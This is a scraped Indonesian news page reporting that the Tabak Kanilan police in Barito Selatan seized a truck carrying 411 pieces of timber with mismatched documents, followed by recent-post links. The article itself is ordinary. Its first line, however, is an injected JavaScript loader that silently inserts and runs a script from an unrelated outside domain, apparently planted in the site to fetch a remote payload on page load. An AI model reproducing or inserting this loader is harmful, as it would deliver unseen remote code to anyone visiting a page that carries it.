(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Tak Sesuai Dokumen, 411 Potong Kayu Diamankan Polsek Tabak Kanilan


BUNTOK, Lantaran tidak sesuai dengan dokumen, sebanyak 411 potong kayu atau kurang lebih 11 kubik, diamankan Polsek Tabak Kanilan, Kecamatan Gunung Bintang Awai (GBA), Kabupaten Barito Selatan.

Kapolres Barsel AKBP Wahid Kurniawan melalui Kapolsek Tabak Kanilan Iptu Rahmat Saleh Simamora mengatakan, pihaknya berhasil mengamankan satu buah truk yang berisikan kayu kurang lebih 11 kubik di jalan Ampah-Muara Teweh, tepatnya di Desa Patas I, Kecamatan Gunung Bintang Awai, pada Jum’at (30/8) sekitar pukul 09:30 WIB.

“Kayu kurang lebih 11 kubik diduga illegal, lantaran tidak sesuai dengan dukumen barang,” kata Rahmat kepada Kanalkalimantan.com, Sabtu (31/8).

Ia mengungkapkan, penangkapan tersebut saat pihaknya sedang melakukan patroli dan menemukan 1 buah truk mengangkut kayu olahan, dimana dari pengakuan sopir Amat (24), kayu setengah jadi itu dibawa dari Kandui, Kecamatan Gunung Timang, Kabupaten Barito Utara dan akan dibawa menuju ke Amuntai, Kabupaten HSU, Provinsi Kalsel.

Ketika diminta menunjukkan dokumen, dokumen yang diberikan oleh Amat ternyata tidak sesuai dengan isi muatan tersebut. Selain itu dari penerbit dokumen menyatakan tidak ada menerbitkan atau mengeluarkan untuk dokumen tersebut.

“Oleh karena itu kita langsung mengamankan Amat dan barang bukti ke Polsek Tabak Kanilan untuk dilakukan pemeriksaan lebih lanjut,” jelas Rahmat.

Pelaku dikenakan pasal tindak pidana di bidang kehutanan sebagai mana dimaksud dalam pasal 83 ayat 1 huruf b UU no 18 thn 2013 tentang pencegahan dan pemberantasan perusakan hutan. Berikut barang bukti yang disita polisi :

Satu truk Mitsubishi bernopol DA 1479 AI

Kayu berbagai jenis sebanyak 11 M³ dengan ukuran :

400 x 20 x 5 = 58 batang

400 x 20 x 10 = 57 batang

400 x 20 x 2   = 171 batang

400 x 5 x 10 = 125 batang. (digdo)

Reporter : digdo
Editor : bie

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.